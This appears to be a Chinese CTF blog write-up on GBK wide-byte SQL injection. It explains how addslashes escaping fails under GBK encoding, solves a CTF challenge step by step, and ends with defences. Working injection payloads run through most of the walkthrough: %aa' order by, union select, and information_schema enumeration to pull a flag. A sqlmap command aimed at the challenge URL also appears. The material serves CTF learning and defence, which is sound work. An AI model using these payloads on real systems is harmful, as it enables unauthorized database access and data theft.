ctf php sql注入,【CTF-Web Learning 1】0x01 SQL注入之宽字节注入

0x01 前言

准备系统梳理和总结提高这一年所学的关于Web方面东西,如有问题欢迎指点。

在计算机中,字符的表示与存储都离不开编码。例如ASCII,utf-8,gbk2312等。通常字符的表示都只需1字节。但也有如gbk2312这种需要2字节来表示的编码格式,这种我们称之为宽字节。

所谓宽字节注入,可能存在于以gbk编码存储数据的sql数据库中。在实际站点中已经比较少见(常见于学校远古破站),而且修复方案很简单。在CTF中属于入门的sql注入题目。

0x02 宽字节注入原理分析

0x01 认识addslashes

在基于php对sql注入的防御里,总会提到这个函数。

addslashes ( string $str ) : string

在php官方文档中,对该函数的说明如下:

返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(')、双引号(")、反斜线()与 NUL(NULL 字符)。

举例:

$str = "Is your name O'reilly?";

// 输出: Is your name O\'reilly?

echo addslashes($str);

?>

对于最简单的字符型数字型注入,经改函数转义的sql语句确实会“卡死“单引号。(构造攻击的sql语句不会执行)

但对于该函数的绕过,其实并不困难,无非两点:

1.在前面再加一个(或单数个),变成( '),可以导致被转义,从而让‘逃出限制。

2.把弄没。**

在下面的例子中你可以体会到,若是该数据库采用了宽字节的编码,这个函数就变成了纸老虎。

0x02 宽字节注入原理

宽字节注入利用了mysql一个特性,即当mysql在使用GBK编码的时候,会认为两个字符是一个汉字。(前一个ASCII码要大于128,才到汉字的范围)

先了解一下这些字符的url编码:

2d39ceb9cc6d3ce4a6094d398fedc8bb.png

当输入单引号,经addslashes转义后,对应的url编码是:

‘ --> \' --> %5C%27

当在前面引入一个ASCII大于128的字符(比如%df),url编码变为:

%df --> %df \ ' --> (%df%5C)%27

若使用gbk编码的话,%df%5C会被当作一个汉字处理,从而使%27(单引号)逃出生天,成功绕过

我们用url编码来研究一下:

当使用gbk编码,可以看到一个汉字占了2个字节。

fa0ad99ff8908ff1fffef97f425dc5f1.png

1fe8117f0f1925d2b36f18c83a5b40c2.png

来对\'编码一下:

98fa35461af0d9cb679341e9305b0463.png

ef1e29fc4e2dec6d3da432f32ce935aa.png

现在在前面加上%df,可以看到%df%5C被当成了汉字,单引号成功逃脱:

8a76d3d8fb1e834d9589212d021b493b.png

415081e0ff168f685d870f31f7e930ae.png

0x03 宽字节注入利用释例

这里以南邮ctf(CG CTF)一道Web题:SQL-GBK为例。

acbf27136e7b66ad2ade96fdbfb870d6.png

输入id=1',可以看到’被变成了\',是addslashes函数转义的结果。

e523c417980dee35bd8bc889d1f75661.png

用上文讲到的方法,构造id=1%df',id=1%aa',成功报错

4d849b6901764083390437110018b858.png

7db66cce8815e9ee2a14f48d4104f2e3.png

首先构造order by语句尝试获得列数,注意最后要用闭合(注释掉后面的语句,不让其影响构造语句执行)

常见的闭合手段有:井号,--+等。

这里用井号,用%23来表示,否则可能解析不了

?id=1%aa' order by 2 %23

c4583c6e0abfeaa327111a5ed9d286e1.png

e5dfa9f7cd7e1b860f06f29be6a69aa1.png

3已经报错了,可以知道列数(字段数)为2.

?id=999%aa' union select 1,2 %23

af0cded7808e0d9e6d83feb05c2bf49a.png

知道了回显的位置是2.

下一步,把2改成database(),成功获取库名:sae-chinalover

?id=999%aa' union select 1,database() %23

b0a285b20c77a099360aa134c001820f.png

继续跟进,查表名。(不放链接了,不太清楚可以百度下mysql自身的系统库结构与读取信息的函数):

注意:因为单引号会被转义,所以直接令table_schema=库名是行不通的。

?id=999%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema = 'sae-chinalover' %23

可以把库名代替为database()。成功获取表名。

?id=999%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema = database() %23

0d05c6089dc3a5bbd7f0255d62c84bf7.png

下一步爆字段,把四个表的字段依次爆一遍,在ctf4中发现有flag字段:

?id=999%aa' union select 1,group_concat(column_name) from information_schema.columns where table_name = 0x63746634 %23

819762de4ff5a76871352956817921df.png

查询一下,成功获取flag。

8aa885db5015a56f7b336998ba27396d.png

4ed4e5078d1e76bca2c39fddbe8ea62c.png

顺便一题,这道题目也可以用sqlmap直接跑。把你构造的宽字符绕过语句扔上去就行了。以爆库名为例:

sqlmap -u "http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1%aa%27" --current-db

6493fbd72495ed78e1c63e5092b8cb9a.png

0x04 宽字节注入的防御

对于宽字节注入,有一种最好的修补就是:

(1)使用mysql_set_charset(GBK)指定字符集

(2)使用mysql_real_escape_string进行转义

mysql_real_escape_string与addslashes的不同之处在于其会考虑当前设置的字符集。不会出现把%aa%5c拼接为一个宽字节的问题。

所以用mysql_set_charset对当前字符集进行指定,然后转义即可。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值